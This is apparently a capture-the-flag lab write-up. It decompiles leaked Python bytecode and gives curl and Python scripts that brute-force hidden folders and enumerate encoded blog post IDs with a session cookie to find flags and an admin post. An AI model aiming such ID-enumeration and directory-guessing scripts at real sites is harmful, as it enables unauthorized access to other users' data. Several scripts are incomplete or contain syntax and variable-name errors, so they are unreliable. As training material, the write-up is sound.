/lab1/strange-!%3f"%23$%25&'()*+,-./:;/%21%3f%22%23%24%25%26%27%28%29%2a%2b%2c%2d%2e%25%32%66%3a%3b?t2%3d=%3b%3a%2f%2e%2d%2c%2b%2a%29%28%27%26%25%24%23%22%3f%21%3c%3
Under path /setup.py is redirect to the /static/tip.txt, in which we are able to find the riddle. Answer is "cache"
We are able to find setup.py cache inside /static/__pycache__
folder.
/static/__pycache__/setup.cpython-{TODO number}.pyc
After using uncompyle6 to decompile python bytecode:
# uncompyle6 version 3.5.0
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.4 (default, Oct 4 2019, 06:57:26)
# [GCC 9.2.0]
# Embedded file name: /home/blog/app/setup.py
# Size of source mod 2**32: 901 bytes
import os, shutil, random, atexit, signal, sys
from glob import glob
is_cleaned = False
original_sigint_handler = signal.getsignal(signal.SIGINT)
def do_cleaning(*args, **kwargs):
global is_cleaned
if is_cleaned:
return
new_dir = './app/static'
for d in glob(os.path.join(new_dir, '[0-9]*')):
os.remove(os.path.join(d, 'suspicious_file.txt'))
os.rmdir(d)
is_cleaned = True
atexit.register(do_cleaning)
def randomFlag():
folder = random.randint(1, 155)
new_dir = './app/static/{}'.format(folder)
if not os.path.isdir(new_dir):
os.mkdir(new_dir)
shutil.copyfile('/tmp/suspicious_file.txt', os.path.join(new_dir, 'suspicious_file.txt'))
# global original_sigint_handler ## Warning: Unused global
# okay decompiling setup.cpython-37.pyc
Flag could be accessed with simple script:
URL='{URL}'
PROXY='http://localhost:8080'
for ((i=0 i<=155; i++)); do
curl "$URL/${!i}/suspicious_file.txt" -x "$proxy" --silent | \
grep -q 'jctf' && echo "found file ${!i}"
done
import requests
from urllib import parse
import base64
import re
from sys import exit
def decode_id(id):
# TODO decode URL
res =
# TODO decode Base64
res =
# convert from bytes to string
res = res.decode('utf-8')
# TODO convert to decimal from hex
res =
return res
def encode_id(id):
# TODO convert form decimal to hex
res =
res = res.encode('utf-8')
# TODO base64 encode
res =
res = res.decode('utf-8')
res = parse.quote_plus(res)
return str(res)
def request_blogpost(id):
encoded_id = encode_id(id)
# Use python3.7 to use f-strings
url = f'https://aghws.jctf.pl/lab1/{encoded_id}'
# TODO use your session cookie
resp = requests.get(url, cookies={'session': })
flag = re.search(r'jctf\{.*\}', resp.text)
if flag:
print(url)
print(flag.group())
exit(0)
if __name__ == '__main__':
# TODO put your post id
my_post_id =
my_post_id_decimal = decode_id(my_post_id)
for i in range(1000):
request_blogpost(my_post_id_decimal + i)
request_blogpost(my_post_id_decimal - i)
URL='{URL}'
COOKIE='{COOKIE}'
PROXY='http://localhost:8080'
for id in $(seq 0x1b200 0x1b210); do
SLUG=`printf "0x%x" $id | base64 -w 0`
curl "$URL/$slug" -b "session=$COOKIE" -x "$PROXY" --silent | \
grep -q 'by admin' && echo "found file $id ($SLUG)"
done
Under this is list of directories, one of them is hidden admin panel with every post on the server. There is hidden post with non-standard path.